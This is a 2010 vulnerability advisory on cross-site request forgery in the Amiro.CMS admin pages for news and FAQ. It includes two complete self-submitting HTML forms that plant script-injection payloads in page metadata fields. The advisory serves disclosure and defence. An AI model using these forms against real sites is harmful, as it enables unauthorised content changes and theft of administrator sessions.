Cross-site Request Forgery (CSRF) Vulnerabilities in Amiro.CMS
| Advisory ID: | HTB22589 |
| Product: | Amiro.CMS |
| Vendor: | Amiro |
| Vulnerable Versions: | 5.8.4.0 and probably prior |
| Tested Version: | 5.8.4.0 |
| Advisory Publication: | August 18, 2010 [without technical details] |
| Vendor Notification: | August 18, 2010 |
| Public Disclosure: | September 1, 2010 |
| Vulnerability Type: | Cross-Site Request Forgery [CWE-352] |
| Risk Level: | Low |
|  |
| CVSSv2 Base Score: | 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Amiro.CMS which could be exploited to perform cross-site request forgery attacks.
1) Cross-site request forgery (CSRF) in Amiro.CMS
1.1 The vulnerability exists due to insufficient validation of the request origin in _admin/news.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify articles. Due to insufficient sanitation of input data in the "html_keywords" and "html_description" parameters it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/_admin/news.php" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="id" value="31" />
<input type="hidden" name="action" value="apply" />
<input type="hidden" name="action_original" value="apply" />
<input type="hidden" name="_form_data" value="1" />
<input type="hidden" name="datefrom" value="31.12.1979" />
<input type="hidden" name="enc_datefrom" value="31.12.1979" />
<input type="hidden" name="dateto" value="31.12.2034" />
<input type="hidden" name="enc_dateto" value="31.12.2034" />
<input type="hidden" name="sort" value="id" />
<input type="hidden" name="enc_sort" value="id" />
<input type="hidden" name="sdim" value="desc" />
<input type="hidden" name="enc_sdim" value="desc" />
<input type="hidden" name="offset" value="0" />
<input type="hidden" name="enc_offset" value="0" />
<input type="hidden" name="limit" value="10" />
<input type="hidden" name="enc_limit" value="10" />
<input type="hidden" name="_grp_ids" value="" />
<input type="hidden" name="enc__grp_ids" value="" />
<input type="hidden" name="flt_archive" value="0" />
<input type="hidden" name="enc_flt_archive" value="0" />
<input type="hidden" name="flt_header" value="" />
<input type="hidden" name="enc_flt_header" value="" />
<input type="hidden" name="flt_urgent" value="0" />
<input type="hidden" name="enc_flt_urgent" value="0" />
<input type="hidden" name="publish" value="" />
<input type="hidden" name="arch" value="" />
<input type="hidden" name="ltime" value="1281787153" />
<input type="hidden" name="public" value="1" />
<input type="hidden" name="date" value="28.08.2009" />
<input type="hidden" name="time" value="13:40:07" />
<input type="hidden" name="header" value="header" />
<input type="hidden" name="srv_tags" value="tags" />
<input type="hidden" name="sublink" value="newslink" />
<input type="hidden" name="original_sublink" value="newslink" />
<input type="hidden" name="html_title" value="title" />
<input type="hidden" name="original_html_title" value="title" />
<input type="hidden" name="html_keywords" value='keys"><script>alert(document.cookie)</script>' />
<input type="hidden" name="original_html_keywords" value="keys" />
<input type="hidden" name="is_keywords_manual" value="0" />
<input type="hidden" name="html_description" value="descr" />
<input type="hidden" name="original_html_description" value="descr" />
<input type="hidden" name="body" value="" />
<input type="hidden" name="announce" value="announce" />
<input type="hidden" name="apply" value="OK" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in "_admin/faq.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and send certain information. Due to insufficient sanitation of input data in the "html_description" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/_admin/faq.php" method="post" name="main" >
<input type="hidden" name="id" value="3" />
<input type="hidden" name="action" value="apply" />
<input type="hidden" name="action_original" value="apply" />
<input type="hidden" name="_form_data" value="1" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="cols" value="" />
<input type="hidden" name="datefrom" value="31.12.1979" />
<input type="hidden" name="enc_datefrom" value="31.12.1979" />
<input type="hidden" name="dateto" value="31.12.2034" />
<input type="hidden" name="enc_dateto" value="31.12.2034" />
<input type="hidden" name="sort" value="answered" />
<input type="hidden" name="enc_sort" value="answered" />
<input type="hidden" name="sdim" value="asc" />
<input type="hidden" name="enc_sdim" value="asc" />
<input type="hidden" name="offset" value="0" />
<input type="hidden" name="enc_offset" value="0" />
<input type="hidden" name="limit" value="10" />
<input type="hidden" name="enc_limit" value="10" />
<input type="hidden" name="_grp_ids" value="" />
<input type="hidden" name="enc__grp_ids" value="" />
<input type="hidden" name="flt_subject_id" value="0" />
<input type="hidden" name="enc_flt_subject_id" value="0" />
<input type="hidden" name="flt_question" value="" />
<input type="hidden" name="enc_flt_question" value="" />
<input type="hidden" name="flt_urgent" value="0" />
<input type="hidden" name="enc_flt_urgent" value="0" />
<input type="hidden" name="public" value="checked" />
<input type="hidden" name="publish" value="" />
<input type="hidden" name="public" value="1" />
<input type="hidden" name="date" value="11.08.2009" />
<input type="hidden" name="cat_id" value="8" />
<input type="hidden" name="catname" value="" />
<input type="hidden" name="author" value="author name" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="send" value="1" />
<input type="hidden" name="sublink" value="faq-page-link" />
<input type="hidden" name="original_sublink" value="faq-page-link" />
<input type="hidden" name="html_title" value="html title" />
<input type="hidden" name="original_html_title" value="html title" />
<input type="hidden" name="html_keywords" value="key1" />
<input type="hidden" name="original_html_keywords" value="key1" />
<input type="hidden" name="is_keywords_manual" value="0" />
<input type="hidden" name="html_description" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="original_html_description" value="descr" />
<input type="hidden" name="answer" value="answer text" />
<input type="hidden" name="question" value="question text" />
<input type="hidden" name="apply" value="OK" />
</form>
<script>
document.main.submit();
</script>
|
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free
Solution: |
| Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback. |
| |
References: |
[1] High-Tech Bridge Advisory HTB22589 - https://www.immuniweb.com/advisory/HTB22589 - Cross-site Request Forgery (CSRF) Vulnerabilities in Amiro.CMS
[2] Amiro.CMS - www.amiro.ru - Amiro.CMS is content management system for commercial sites.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
